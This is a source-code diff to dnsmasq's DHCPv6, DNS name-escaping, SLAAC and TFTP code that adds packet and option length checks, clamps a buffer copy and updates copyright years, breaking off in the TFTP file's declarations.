unsigned short dhcp6_reply(struct dhcp_context *context, int multicast_dest, int interface, char *iface_name,
struct in6_addr *fallback, struct in6_addr *ll_addr, struct in6_addr *ula_addr,
size_t sz, struct in6_addr *client_addr, time_t now)
{
@@ -80,6 +82,10 @@ unsigned short dhcp6_reply(struct dhcp_context *context, int interface, char *if
return 0;
msg_type = *((unsigned char *)daemon->dhcp_packet.iov_base);
/* request from a client must be multicast RFC-9915 section 16 */
if (msg_type != DHCP6RELAYFORW && !multicast_dest)
return 0;
/* Mark these so we only match each at most once, to avoid tangled linked lists */
for (vendor = daemon->dhcp_vendors; vendor; vendor = vendor->next)
@@ -94,10 +100,8 @@ unsigned short dhcp6_reply(struct dhcp_context *context, int interface, char *if
state.ula_addr = ula_addr;
state.mac_len = 0;
state.tags = NULL;
state.link_address = NULL;
if (dhcp6_maybe_relay(&state, daemon->dhcp_packet.iov_base, sz, client_addr,
IN6_IS_ADDR_MULTICAST(client_addr), now))
if (dhcp6_maybe_relay(&state, daemon->dhcp_packet.iov_base, sz, client_addr, NULL, now))
return msg_type == DHCP6RELAYFORW ? DHCPV6_SERVER_PORT : DHCPV6_CLIENT_PORT;
return 0;
@@ -105,15 +109,22 @@ unsigned short dhcp6_reply(struct dhcp_context *context, int interface, char *if
/* This cost me blood to write, it will probably cost you blood to understand - srk. */
static int dhcp6_maybe_relay(struct state *state, unsigned char *inbuff, size_t sz,
struct in6_addr *client_addr, int is_unicast, time_t now)
struct in6_addr *client_addr, struct in6_addr *link_address, time_t now)
{
uint8_t *end = inbuff + sz;
uint8_t *opts = inbuff + 34;
int msg_type = *inbuff;
int msg_type;
unsigned char *outmsgtypep;
uint8_t *opt;
struct dhcp_vendor *vendor;
/* must have at least msg_type+trans_id
which is 1 + 3 = 4 */
if (sz < 4)
return 0;
msg_type = *inbuff;
/* if not an encapsulated relayed message, just do the stuff */
if (msg_type != DHCP6RELAYFORW)
{
@@ -125,7 +136,7 @@ static int dhcp6_maybe_relay(struct state *state, unsigned char *inbuff, size_t
link_address == NULL means there's no relay in use, so we try and find the client's
MAC address from the local ND cache. */
if (!state->link_address)
if (!link_address)
get_client_mac(client_addr, state->interface, state->mac, &state->mac_len, &state->mac_type, now);
else
{
@@ -133,9 +144,9 @@ static int dhcp6_maybe_relay(struct state *state, unsigned char *inbuff, size_t
struct shared_network *share = NULL;
state->context = NULL;
if (!IN6_IS_ADDR_LOOPBACK(state->link_address) &&
!IN6_IS_ADDR_LINKLOCAL(state->link_address) &&
!IN6_IS_ADDR_MULTICAST(state->link_address))
if (!IN6_IS_ADDR_LOOPBACK(link_address) &&
!IN6_IS_ADDR_LINKLOCAL(link_address) &&
!IN6_IS_ADDR_MULTICAST(link_address))
for (c = daemon->dhcp6; c; c = c->next)
{
for (share = daemon->shared_networks; share; share = share->next)
@@ -144,7 +155,7 @@ static int dhcp6_maybe_relay(struct state *state, unsigned char *inbuff, size_t
continue;
if (share->if_index != 0 ||
!IN6_ARE_ADDR_EQUAL(state->link_address, &share->match_addr6))
!IN6_ARE_ADDR_EQUAL(link_address, &share->match_addr6))
continue;
if ((c->flags & CONTEXT_DHCP) &&
@@ -157,8 +168,8 @@ static int dhcp6_maybe_relay(struct state *state, unsigned char *inbuff, size_t
if (share ||
((c->flags & CONTEXT_DHCP) &&
!(c->flags & (CONTEXT_TEMPLATE | CONTEXT_OLD)) &&
is_same_net6(state->link_address, &c->start6, c->prefix) &&
is_same_net6(state->link_address, &c->end6, c->prefix)))
is_same_net6(link_address, &c->start6, c->prefix) &&
is_same_net6(link_address, &c->end6, c->prefix)))
{
c->preferred = c->valid = 0xffffffff;
c->current = state->context;
@@ -168,7 +179,7 @@ static int dhcp6_maybe_relay(struct state *state, unsigned char *inbuff, size_t
if (!state->context)
{
inet_ntop(AF_INET6, state->link_address, daemon->addrbuff, ADDRSTRLEN);
inet_ntop(AF_INET6, link_address, daemon->addrbuff, ADDRSTRLEN);
my_syslog(MS_DHCP | LOG_WARNING,
_("no address range available for DHCPv6 request from relay at %s"),
daemon->addrbuff);
@@ -183,7 +194,9 @@ static int dhcp6_maybe_relay(struct state *state, unsigned char *inbuff, size_t
return 0;
}
return dhcp6_no_relay(state, msg_type, inbuff, sz, is_unicast, now);
state->relay_address = link_address;
return dhcp6_no_relay(state, msg_type, inbuff, sz, now);
}
/* must have at least msg_type+hopcount+link_address+peer_address+minimal size option
@@ -230,11 +243,8 @@ static int dhcp6_maybe_relay(struct state *state, unsigned char *inbuff, size_t
memcpy(&state->mac[0], opt6_ptr(opt, 2), state->mac_len);
}
for (opt = opts; opt; opt = opt6_next(opt, end))
for (opt = opt6_first(opts, end); opt; opt = opt6_next(opt, end))
{
if ((uint8_t *)opt6_ptr(opt, 0) + opt6_len(opt) > end)
return 0;
/* Don't copy MAC address into reply. */
if (opt6_type(opt) != OPTION6_CLIENT_MAC)
{
@@ -244,10 +254,13 @@ static int dhcp6_maybe_relay(struct state *state, unsigned char *inbuff, size_t
struct in6_addr align;
/* the packet data is unaligned, copy to aligned storage */
memcpy(&align, inbuff + 2, IN6ADDRSZ);
state->link_address = &align;
/* zero is_unicast since that is now known to refer to the
relayed packet, not the original sent by the client */
if (!dhcp6_maybe_relay(state, opt6_ptr(opt, 0), opt6_len(opt), client_addr, 0, now))
/* RFC6221 para 4 says if link_address in encapsulation
is zero, ignore it, and, by implication, use the link
address of any enclosing encapsulation or, failing that
of the arrival interface on the server. */
if (!dhcp6_maybe_relay(state, opt6_ptr(opt, 0), opt6_len(opt), client_addr,
IN6_IS_ADDR_UNSPECIFIED(&align) ? link_address : &align, now))
return 0;
}
else
@@ -259,7 +272,7 @@ static int dhcp6_maybe_relay(struct state *state, unsigned char *inbuff, size_t
return 1;
}
static int dhcp6_no_relay(struct state *state, int msg_type, unsigned char *inbuff, size_t sz, int is_unicast, time_t now)
static int dhcp6_no_relay(struct state *state, int msg_type, unsigned char *inbuff, size_t sz, time_t now)
{
void *opt;
int i, o, o1, start_opts, start_msg;
@@ -285,7 +298,7 @@ static int dhcp6_no_relay(struct state *state, int msg_type, unsigned char *inbu
state->hostname = NULL;
state->client_hostname = NULL;
state->fqdn_flags = 0x01; /* default to send if we receive no FQDN option */
/* set tag with name == interface */
iface_id.net = state->iface_name;
iface_id.next = state->tags;
@@ -333,18 +346,17 @@ static int dhcp6_no_relay(struct state *state, int msg_type, unsigned char *inbu
else if (msg_type != DHCP6IREQ)
return 0;
/* server-id must match except for SOLICIT, CONFIRM and REBIND messages, which MUST NOT
have a server-id. 3315 para 15.x */
opt = opt6_find(state->packet_options, state->end, OPTION6_SERVER_ID, 1);
if (msg_type == DHCP6SOLICIT || msg_type == DHCP6CONFIRM || msg_type == DHCP6REBIND)
{
if (opt)
/* SOLICIT, CONFIRM and REBIND messages MUST NOT have a server-id. 3315 para 15.x */
if (opt)
return 0;
}
else if (msg_type == DHCP6IREQ)
{
/* If server-id provided, it must match. */
/* If server-id provided in IREQ, it must match. */
if (opt && (opt6_len(opt) != daemon->duid_len ||
memcmp(opt6_ptr(opt, 0), daemon->duid, daemon->duid_len) != 0))
return 0;
@@ -361,18 +373,6 @@ static int dhcp6_no_relay(struct state *state, int msg_type, unsigned char *inbu
put_opt6(daemon->duid, daemon->duid_len);
end_opt6(o);
if (is_unicast &&
(msg_type == DHCP6REQUEST || msg_type == DHCP6RENEW || msg_type == DHCP6RELEASE || msg_type == DHCP6DECLINE))
{
outmsgtype = DHCP6REPLY;
o1 = new_opt6(OPTION6_STATUS_CODE);
put_opt6_short(DHCP6USEMULTI);
put_opt6_string("Use multicast");
end_opt6(o1);
goto done;
}
/* match vendor and user class options */
for (vendor = daemon->dhcp_vendors; vendor; vendor = vendor->next)
{
@@ -395,14 +395,28 @@ static int dhcp6_no_relay(struct state *state, int msg_type, unsigned char *inbu
if (opt6_len(opt) < 4)
continue;
if (vendor->enterprise != opt6_uint(opt, 0, 4))
if (vendor->enterprise != 0 && vendor->enterprise != opt6_uint(opt, 0, 4))
continue;
/* matching enterprise, no string match. */
if (vendor->enterprise != 0 && vendor->len == 0)
{
vendor->netid.next = state->tags;
state->tags = &vendor->netid;
break;
}
offset = 4;
/* If we're going to search the strings below, there must be at least one empty string to search
I think a vendor_class option with just the enterprise number is valid. */
if (opt6_len(opt) < 6)
continue;
}
/* Note that format if user/vendor classes is different to DHCP options - no option types. */
for (enc_opt = opt6_ptr(opt, offset); enc_opt; enc_opt = opt6_user_vendor_next(enc_opt, enc_end))
/* Note that format if user/vendor classes is different to DHCP options - no option types. */
for (enc_opt = opt6_user_vendor_first(opt6_ptr(opt, offset), enc_end);
enc_opt; enc_opt = opt6_user_vendor_next(enc_opt, enc_end))
for (i = 0; i <= (opt6_user_vendor_len(enc_opt) - vendor->len); i++)
if (memcmp(vendor->data, opt6_user_vendor_ptr(enc_opt, i), vendor->len) == 0)
{
@@ -460,10 +474,8 @@ static int dhcp6_no_relay(struct state *state, int msg_type, unsigned char *inbu
if (state->mac_len != 0)
{
if (option_bool(OPT_LOG_OPTS))
{
print_mac(daemon->dhcp_buff, state->mac, state->mac_len);
my_syslog(MS_DHCP | LOG_INFO, _("%u client MAC address: %s"), state->xid, daemon->dhcp_buff);
}
my_syslog(MS_DHCP | LOG_INFO, _("%u client MAC address: %s"), state->xid,
print_mac(state->mac, state->mac_len));
for (mac_opt = daemon->dhcp_macs; mac_opt; mac_opt = mac_opt->next)
if ((unsigned)mac_opt->hwaddr_len == state->mac_len &&
@@ -490,7 +502,7 @@ static int dhcp6_no_relay(struct state *state, int msg_type, unsigned char *inbu
state->fqdn_flags &= ~0x04;
if (len != 0 && len < 255)
if (len >= 1 && len < 255)
{
unsigned char *pp, *op = opt6_ptr(opt, 1);
char *pq = daemon->dhcp_buff;
@@ -634,7 +646,7 @@ static int dhcp6_no_relay(struct state *state, int msg_type, unsigned char *inbu
case DHCP6SOLICIT:
{
int address_assigned = 0;
int address_assigned;
/* tags without all prefix-class tags */
struct dhcp_netid *solicit_tags;
struct dhcp_context *c;
@@ -653,6 +665,7 @@ static int dhcp6_no_relay(struct state *state, int msg_type, unsigned char *inbu
request_no_address:
solicit_tags = tagif;
address_assigned = 0;
if (ignore)
return 0;
@@ -664,7 +677,7 @@ static int dhcp6_no_relay(struct state *state, int msg_type, unsigned char *inbu
for (c = state->context; c; c = c->current)
c->flags &= ~CONTEXT_CONF_USED;
for (opt = state->packet_options; opt; opt = opt6_next(opt, state->end))
for (opt = opt6_first(state->packet_options, state->end); opt; opt = opt6_next(opt, state->end))
{
void *ia_option, *ia_end;
unsigned int min_time = 0xffffffff;
@@ -764,15 +777,6 @@ static int dhcp6_no_relay(struct state *state, int msg_type, unsigned char *inbu
if (address_assigned != 1)
{
/* If the server will not assign any addresses to any IAs in a
subsequent Request from the client, the server MUST send an Advertise
message to the client that doesn't include any IA options. */
if (!state->lease_allocate)
{
save_counter(o);
continue;
}
/* If the server cannot assign any addresses to an IA in the message
from the client, the server MUST include the IA in the Reply message
with no addresses in the IA and a Status Code option in the IA
@@ -799,7 +803,6 @@ static int dhcp6_no_relay(struct state *state, int msg_type, unsigned char *inbu
o = new_opt6(OPTION6_PREFERENCE);
put_opt6_char(option_bool(OPT_AUTHORITATIVE) ? 255 : 0);
end_opt6(o);
tagif = add_options(state, 0);
}
else
{
@@ -819,7 +822,8 @@ static int dhcp6_no_relay(struct state *state, int msg_type, unsigned char *inbu
break;
}
}
tagif = add_options(state, 0);
break;
}
@@ -837,7 +841,7 @@ static int dhcp6_no_relay(struct state *state, int msg_type, unsigned char *inbu
if (ignore)
return 0;
for (opt = state->packet_options; opt; opt = opt6_next(opt, state->end))
for (opt = opt6_first(state->packet_options, state->end); opt; opt = opt6_next(opt, state->end))
{
void *ia_option, *ia_end;
unsigned int min_time = 0xffffffff;
@@ -948,7 +952,7 @@ static int dhcp6_no_relay(struct state *state, int msg_type, unsigned char *inbu
log6_quiet(state, msg_type == DHCP6RENEW ? "DHCPRENEW" : "DHCPREBIND", NULL, NULL);
for (opt = state->packet_options; opt; opt = opt6_next(opt, state->end))
for (opt = opt6_first(state->packet_options, state->end); opt; opt = opt6_next(opt, state->end))
{
void *ia_option, *ia_end;
unsigned int min_time = 0xffffffff;
@@ -977,8 +981,10 @@ static int dhcp6_no_relay(struct state *state, int msg_type, unsigned char *inbu
{
if (msg_type == DHCP6REBIND)
{
/* When rebinding, we can create a lease if it doesn't exist. */
lease = lease6_allocate(&req_addr, state->ia_type == OPTION6_IA_NA ? LEASE_NA : LEASE_TA);
/* When rebinding, we can create a lease if it doesn't exist, as long
as --dhcp-authoritative is set. */
if (option_bool(OPT_AUTHORITATIVE))
lease = lease6_allocate(&req_addr, state->ia_type == OPTION6_IA_NA ? LEASE_NA : LEASE_TA);
if (lease)
lease_set_iaid(lease, state->iaid);
else
@@ -1081,7 +1087,7 @@ static int dhcp6_no_relay(struct state *state, int msg_type, unsigned char *inbu
log6_quiet(state, "DHCPCONFIRM", NULL, NULL);
for (opt = state->packet_options; opt; opt = opt6_next(opt, state->end))
for (opt = opt6_first(state->packet_options, state->end); opt; opt = opt6_next(opt, state->end))
{
void *ia_option, *ia_end;
@@ -1157,7 +1163,7 @@ static int dhcp6_no_relay(struct state *state, int msg_type, unsigned char *inbu
log6_quiet(state, "DHCPRELEASE", NULL, NULL);
for (opt = state->packet_options; opt; opt = opt6_next(opt, state->end))
for (opt = opt6_first(state->packet_options, state->end); opt; opt = opt6_next(opt, state->end))
{
void *ia_option, *ia_end;
int made_ia = 0;
@@ -1222,7 +1228,7 @@ static int dhcp6_no_relay(struct state *state, int msg_type, unsigned char *inbu
log6_quiet(state, "DHCPDECLINE", NULL, NULL);
for (opt = state->packet_options; opt; opt = opt6_next(opt, state->end))
for (opt = opt6_first(state->packet_options, state->end); opt; opt = opt6_next(opt, state->end))
{
void *ia_option, *ia_end;
int made_ia = 0;
@@ -1301,7 +1307,6 @@ static int dhcp6_no_relay(struct state *state, int msg_type, unsigned char *inbu
log_tags(tagif, state->xid);
done:
/* Fill in the message type. Note that we store the offset,
not a direct pointer, since the packet memory may have been
reallocated. */
@@ -1529,7 +1534,7 @@ static struct dhcp_netid *add_options(struct state *state, int do_refresh)
for (i = 0; i < opt6_len(oro) - 1; i += 2)
{
char *s = option_string(AF_INET6, opt6_uint(oro, i, 2), NULL, 0, NULL, 0);
q += snprintf(q, MAXDNAME - (q - daemon->namebuff),
q += snprintf(q, MAXDNAMESTR - (q - daemon->namebuff),
"%d%s%s%s",
opt6_uint(oro, i, 2),
strlen(s) != 0 ? ":" : "",
@@ -1593,9 +1598,11 @@ static void get_context_tag(struct state *state, struct dhcp_context *context)
static int check_ia(struct state *state, void *opt, void **endp, void **ia_option)
{
state->ia_type = opt6_type(opt);
*ia_option = NULL;
/* callee ensures packet is long enough for opt6_len(opt) to be valid and believe-able. */
state->ia_type = opt6_type(opt);
if (state->ia_type != OPTION6_IA_NA && state->ia_type != OPTION6_IA_TA)
return 0;
@@ -1920,10 +1927,11 @@ static void update_leases(struct state *state, struct dhcp_context *context, str
lease_add_extradata(lease, (unsigned char *)daemon->dhcp_buff2, strlen(daemon->dhcp_buff2), 0);
if (opt6_len(opt) >= 6)
for (enc_opt = opt6_ptr(opt, 4); enc_opt; enc_opt = opt6_next(enc_opt, enc_end))
for (enc_opt = opt6_user_vendor_first(opt6_ptr(opt, 4), enc_end);
enc_opt; enc_opt = opt6_user_vendor_next(enc_opt, enc_end))
{
lease->vendorclass_count++;
lease_add_extradata(lease, opt6_ptr(enc_opt, 0), opt6_len(enc_opt), 0);
lease_add_extradata(lease, opt6_user_vendor_ptr(enc_opt, 0), opt6_user_vendor_len(enc_opt), 0);
}
}
@@ -1972,16 +1980,17 @@ static void update_leases(struct state *state, struct dhcp_context *context, str
}
}
if (state->link_address)
inet_ntop(AF_INET6, state->link_address, daemon->addrbuff, ADDRSTRLEN);
if (state->relay_address)
inet_ntop(AF_INET6, state->relay_address, daemon->addrbuff, ADDRSTRLEN);
lease_add_extradata(lease, (unsigned char *)daemon->addrbuff, state->link_address ? strlen(daemon->addrbuff) : 0, 0);
lease_add_extradata(lease, (unsigned char *)daemon->addrbuff, state->relay_address ? strlen(daemon->addrbuff) : 0, 0);
if ((opt = opt6_find(state->packet_options, state->end, OPTION6_USER_CLASS, 2)))
{
void *enc_opt, *enc_end = opt6_ptr(opt, opt6_len(opt));
for (enc_opt = opt6_ptr(opt, 0); enc_opt; enc_opt = opt6_next(enc_opt, enc_end))
lease_add_extradata(lease, opt6_ptr(enc_opt, 0), opt6_len(enc_opt), 0);
for (enc_opt = opt6_user_vendor_first(opt6_ptr(opt, 0), enc_end);
enc_opt; enc_opt = opt6_user_vendor_next(enc_opt, enc_end))
lease_add_extradata(lease, opt6_user_vendor_ptr(enc_opt, 0), opt6_user_vendor_len(enc_opt), 0);
}
}
#endif
@@ -1996,10 +2005,10 @@ static void log6_opts(int nest, unsigned int xid, void *start_opts, void *end_op
void *opt;
char *desc = nest ? "nest" : "sent";
if (!option_bool(OPT_LOG_OPTS) || start_opts == end_opts)
if (!option_bool(OPT_LOG_OPTS))
return;
for (opt = start_opts; opt; opt = opt6_next(opt, end_opts))
for (opt = opt6_first(start_opts, end_opts); opt; opt = opt6_next(opt, end_opts))
{
int type = opt6_type(opt);
void *ia_options = NULL;
@@ -2032,16 +2041,22 @@ static void log6_opts(int nest, unsigned int xid, void *start_opts, void *end_op
}
else if (type == OPTION6_STATUS_CODE)
{
int len = sprintf(daemon->namebuff, "%u ", opt6_uint(opt, 0, 2));
memcpy(daemon->namebuff + len, opt6_ptr(opt, 2), opt6_len(opt)-2);
daemon->namebuff[len + opt6_len(opt) - 2] = 0;
if (opt6_len(opt) >= 2)
{
int slen = opt6_len(opt) - 2;
int len = sprintf(daemon->namebuff, "%u ", opt6_uint(opt, 0, 2));
if (slen > (MAXDNAMESTR) - len - 1)
slen = (MAXDNAMESTR) - len - 1;
memcpy(daemon->namebuff + len, opt6_ptr(opt, 2), slen);
daemon->namebuff[len + slen] = 0;
}
optname = "status";
}
else
{
/* account for flag byte on FQDN */
int offset = type == OPTION6_FQDN ? 1 : 0;
optname = option_string(AF_INET6, type, opt6_ptr(opt, offset), opt6_len(opt) - offset, daemon->namebuff, MAXDNAME);
optname = option_string(AF_INET6, type, opt6_ptr(opt, offset), opt6_len(opt) - offset, daemon->namebuff, MAXDNAMESTR);
}
my_syslog(MS_DHCP | LOG_INFO, "%u %s size:%3d option:%3d %s %s",
@@ -2060,14 +2075,6 @@ static void log6_quiet(struct state *state, char *type, struct in6_addr *addr, c
static void log6_packet(struct state *state, char *type, struct in6_addr *addr, char *string)
{
int clid_len = state->clid_len;
/* avoid buffer overflow */
if (clid_len > 100)
clid_len = 100;
print_mac(daemon->namebuff, state->clid, clid_len);
if (addr)
{
inet_ntop(AF_INET6, addr, daemon->dhcp_buff2, DHCP_BUFF_SZ - 1);
@@ -2082,58 +2089,56 @@ static void log6_packet(struct state *state, char *type, struct in6_addr *addr,
type,
state->iface_name,
daemon->dhcp_buff2,
daemon->namebuff,
print_mac(state->clid, state->clid_len),
string ? string : "");
else
my_syslog(MS_DHCP | LOG_INFO, "%s(%s) %s%s %s",
type,
state->iface_name,
daemon->dhcp_buff2,
daemon->namebuff,
print_mac(state->clid, state->clid_len),
string ? string : "");
}
static void *opt6_find (uint8_t *opts, uint8_t *end, unsigned int search, unsigned int minsize)
static void *opt6_find(uint8_t *opts, uint8_t *end, unsigned int search, int minsize)
{
u16 opt, opt_len;
void *start;
if (!opts)
return NULL;
while (1)
{
if (end - opts < 4)
return NULL;
start = opts;
GETSHORT(opt, opts);
GETSHORT(opt_len, opts);
if (opt_len > (end - opts))
return NULL;
if (opt == search && (opt_len >= minsize))
return start;
opts += opt_len;
}
for (opts = opt6_first(opts, end); opts; opts = opt6_next(opts, end))
if (opt6_type(opts) == search && opt6_len(opts) >= minsize)
return opts;
return NULL;
}
static void *opt6_next(uint8_t *opts, uint8_t *end)
static void *opt6_first(uint8_t *opt, uint8_t *end)
{
u16 opt_len;
if (end - opts < 4)
if (!opt)
return NULL;
opts += 2;
GETSHORT(opt_len, opts);
if (opt_len >= (end - opts))
/* make sure we have option number and length. */
if ((uint8_t *)opt6_ptr(opt, 0) > end)
return NULL;
return opts + opt_len;
/* make sure we have bytes promised by length. */
if ((uint8_t *)opt6_ptr(opt, opt6_len(opt)) > end)
return NULL;
return opt;
}
static void *opt6_user_vendor_first(uint8_t *opt, uint8_t *end)
{
if (!opt)
return NULL;
/* make sure we have length. */
if ((uint8_t *)opt6_user_vendor_ptr(opt, 0) > end)
return NULL;
/* make sure we have bytes promised by length. */
if ((uint8_t *)opt6_user_vendor_ptr(opt, opt6_user_vendor_len(opt)) > end)
return NULL;
return opt;
}
static unsigned int opt6_uint(unsigned char *opt, int offset, int size)
@@ -2149,12 +2154,12 @@ static unsigned int opt6_uint(unsigned char *opt, int offset, int size)
return ret;
}
/* return 0 if we're not configured to relay. */
int relay_upstream6(int iface_index, ssize_t sz,
struct in6_addr *peer_address, u32 scope_id, time_t now)
{
unsigned char *header;
unsigned char *inbuff = daemon->dhcp_packet.iov_base;
int msg_type = *inbuff;
int hopcount, o;
struct in6_addr multicast;
unsigned int maclen, mactype;
@@ -2171,10 +2176,22 @@ int relay_upstream6(int iface_index, ssize_t sz,
inet_pton(AF_INET6, ALL_SERVERS, &multicast);
get_client_mac(peer_address, scope_id, mac, &maclen, &mactype, now);
/* We need at least four bytes for valid client/server message
(type, and transaction ID) A relay-originated message needs more. */
if (sz < 4)
return 1;
/* Get hop count from nested relayed message */
if (msg_type == DHCP6RELAYFORW)
hopcount = *((unsigned char *)inbuff+1) + 1;
if (inbuff[0] == DHCP6RELAYFORW)
{
/* must have at least msg_type+hopcount+link_address+peer_address+minimal size option
which is 1 + 1 + 16 + 16 + 2 + 2 = 38 */
if (sz < 38)
return 1;
/* Get hop count from nested relayed message. */
hopcount = inbuff[1] + 1;
}
else
hopcount = 0;
@@ -2240,7 +2257,7 @@ int relay_upstream6(int iface_index, ssize_t sz,
{
inet_ntop(AF_INET6, &relay->local, daemon->addrbuff, ADDRSTRLEN);
if (IN6_ARE_ADDR_EQUAL(&relay->server.addr6, &multicast))
snprintf(daemon->namebuff, MAXDNAME, _("multicast via %s"), relay->interface);
snprintf(daemon->namebuff, MAXDNAMESTR, _("multicast via %s"), relay->interface);
else
inet_ntop(AF_INET6, &relay->server, daemon->namebuff, ADDRSTRLEN);
my_syslog(MS_DHCP | LOG_INFO, _("DHCP relay at %s -> %s"), daemon->addrbuff, daemon->namebuff);
+12 -38
View File
@@ -1,4 +1,4 @@
/* dnsmasq is Copyright (c) 2000-2025 Simon Kelley
/* dnsmasq is Copyright (c) 2000-2026 Simon Kelley
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -337,27 +337,6 @@ short *rrfilter_desc(int type)
return p+1;
}
int expand_workspace(unsigned char ***wkspc, int *szp, int new)
{
unsigned char **p;
int old = *szp;
if (old >= new+1)
return 1;
new += 5;
if (!(p = whine_realloc(*wkspc, new * sizeof(unsigned char *))))
return 0;
memset(p+old, 0, new-old);
*wkspc = p;
*szp = new;
return 1;
}
/* Convert from presentation format to wire format, in place.
Also map UC -> LC.
Note that using extract_name to get presentation format
@@ -365,14 +344,6 @@ int expand_workspace(unsigned char ***wkspc, int *szp, int new)
thus generating names in canonical form.
Calling to_wire followed by from_wire is almost an identity,
except that the UC remains mapped to LC.
Note that both /000 and '.' are allowed within labels. These get
represented in presentation format using NAME_ESCAPE as an escape
character. In theory, if all the characters in a name were /000 or
'.' or NAME_ESCAPE then all would have to be escaped, so the
presentation format would be twice as long as the spec (1024).
The buffers are all declared as 2049 (allowing for the trailing zero)
for this reason.
*/
int to_wire(char *name)
{
@@ -418,14 +389,17 @@ void from_wire(char *name)
len = *l;
memmove(l, l+1, len);
for (p = l; p < l + len; p++)
if (*p == '.' || *p == 0 || *p == NAME_ESCAPE)
{
memmove(p+1, p, 1 + last - p);
len++;
*p++ = NAME_ESCAPE;
(*p)++;
}
{
unsigned char c = *p;
if (IS_NAME_ESCAPE(c))
{
memmove(p+1, p, 1 + last - p);
last++;
len++;
*p++ = NAME_ESCAPE;
(*p)++;
}
}
l[len] = '.';
}
+68 -68
View File
@@ -1,4 +1,4 @@
/* dnsmasq is Copyright (c) 2000-2025 Simon Kelley
/* dnsmasq is Copyright (c) 2000-2026 Simon Kelley
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -27,87 +27,87 @@ void slaac_add_addrs(struct dhcp_lease *lease, time_t now, int force)
struct slaac_address *slaac, *old, **up;
struct dhcp_context *context;
int dns_dirty = 0;
if (!(lease->flags & LEASE_HAVE_HWADDR) ||
(lease->flags & (LEASE_TA | LEASE_NA)) ||
lease->last_interface == 0 ||
!lease->hostname)
return ;
old = lease->slaac_address;
lease->slaac_address = NULL;
for (context = daemon->dhcp6; context; context = context->next)
if ((context->flags & CONTEXT_RA_NAME) &&
!(context->flags & CONTEXT_OLD) &&
lease->last_interface == context->if_index)
{
struct in6_addr addr = context->start6;
if (lease->hwaddr_len == 6 &&
(lease->hwaddr_type == ARPHRD_ETHER || lease->hwaddr_type == ARPHRD_IEEE802))
if ((lease->flags & LEASE_HAVE_HWADDR) &&
!(lease->flags & (LEASE_TA | LEASE_NA)) &&
lease->last_interface != 0 &&
lease->hostname)
{
for (context = daemon->dhcp6; context; context = context->next)
if ((context->flags & CONTEXT_RA_NAME) &&
!(context->flags & CONTEXT_OLD) &&
lease->last_interface == context->if_index)
{
/* convert MAC address to EUI-64 */
memcpy(&addr.s6_addr[8], lease->hwaddr, 3);
memcpy(&addr.s6_addr[13], &lease->hwaddr[3], 3);
addr.s6_addr[11] = 0xff;
addr.s6_addr[12] = 0xfe;
}
struct in6_addr addr = context->start6;
if (lease->hwaddr_len == 6 &&
(lease->hwaddr_type == ARPHRD_ETHER || lease->hwaddr_type == ARPHRD_IEEE802))
{
/* convert MAC address to EUI-64 */
memcpy(&addr.s6_addr[8], lease->hwaddr, 3);
memcpy(&addr.s6_addr[13], &lease->hwaddr[3], 3);
addr.s6_addr[11] = 0xff;
addr.s6_addr[12] = 0xfe;
}
#if defined(ARPHRD_EUI64)
else if (lease->hwaddr_len == 8 &&
lease->hwaddr_type == ARPHRD_EUI64)
memcpy(&addr.s6_addr[8], lease->hwaddr, 8);
else if (lease->hwaddr_len == 8 &&
lease->hwaddr_type == ARPHRD_EUI64)
memcpy(&addr.s6_addr[8], lease->hwaddr, 8);
#endif
#if defined(ARPHRD_IEEE1394) && defined(ARPHRD_EUI64)
else if (lease->clid_len == 9 &&
lease->clid[0] == ARPHRD_EUI64 &&
lease->hwaddr_type == ARPHRD_IEEE1394)
/* FireWire has EUI-64 identifier as clid */
memcpy(&addr.s6_addr[8], &lease->clid[1], 8);
else if (lease->clid_len == 9 &&
lease->clid[0] == ARPHRD_EUI64 &&
lease->hwaddr_type == ARPHRD_IEEE1394)
/* FireWire has EUI-64 identifier as clid */
memcpy(&addr.s6_addr[8], &lease->clid[1], 8);
#endif
else
continue;
addr.s6_addr[8] ^= 0x02;
/* check if we already have this one */
for (up = &old, slaac = old; slaac; slaac = slaac->next)
{
if (IN6_ARE_ADDR_EQUAL(&addr, &slaac->addr))
{
*up = slaac->next;
/* recheck when DHCPv4 goes through init-reboot */
if (force)
{
slaac->ping_time = now;
slaac->backoff = 1;
dns_dirty = 1;
}
break;
}
up = &slaac->next;
}
else
continue;
/* No, make new one */
if (!slaac && (slaac = whine_malloc(sizeof(struct slaac_address))))
{
slaac->ping_time = now;
slaac->backoff = 1;
slaac->addr = addr;
/* Do RA's to prod it */
ra_start_unsolicited(now, context);
addr.s6_addr[8] ^= 0x02;
/* check if we already have this one */
for (up = &old, slaac = old; slaac; slaac = slaac->next)
{
if (IN6_ARE_ADDR_EQUAL(&addr, &slaac->addr))
{
*up = slaac->next;
/* recheck when DHCPv4 goes through init-reboot */
if (force)
{
slaac->ping_time = now;
slaac->backoff = 1;
dns_dirty = 1;
}
break;
}
up = &slaac->next;
}
/* No, make new one */
if (!slaac && (slaac = whine_malloc(sizeof(struct slaac_address))))
{
slaac->ping_time = now;
slaac->backoff = 1;
slaac->addr = addr;
/* Do RA's to prod it */
ra_start_unsolicited(now, context);
}
if (slaac)
{
slaac->next = lease->slaac_address;
lease->slaac_address = slaac;
}
}
if (slaac)
{
slaac->next = lease->slaac_address;
lease->slaac_address = slaac;
}
}
}
if (old || dns_dirty)
lease_update_dns(1);
/* Free any no reused */
/* Free any not reused */
for (; old; old = slaac)
{
slaac = old->next;
+166 -114
View File
@@ -1,4 +1,4 @@
/* dnsmasq is Copyright (c) 2000-2025 Simon Kelley
/* dnsmasq is Copyright (c) 2000-2026 Simon Kelley
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -18,12 +18,12 @@
#ifdef HAVE_TFTP
static void handle_tftp(time_t now, struct tftp_transfer *transfer, ssize_t len);
static struct tftp_file *check_tftp_fileperm(ssize_t *len, char *prefix, char *client);
static void handle_tftp(char *packet, time_t now, struct tftp_transfer *transfer, ssize_t len);
static struct tftp_file *check_tftp_fileperm(char *packet, ssize_t *len, char *prefix, char *client);
static void free_transfer(struct tftp_transfer *transfer);
static ssize_t tftp_err(int err, char *packet, char *message, char *file, char *arg2);
static ssize_t tftp_err_oops(char *packet, const char *file);
static ssize_t get_block(char *packet, struct tftp_transfer *transfer);
static ssize_t get_block(struct tftp_transfer *transfer);
static char *next(char **p, char *end);
static void sanitise(char *buf);
@@ -41,10 +41,9 @@ static void sanitise(char *buf);
#define ERR_ILL 4
#define ERR_TID 5
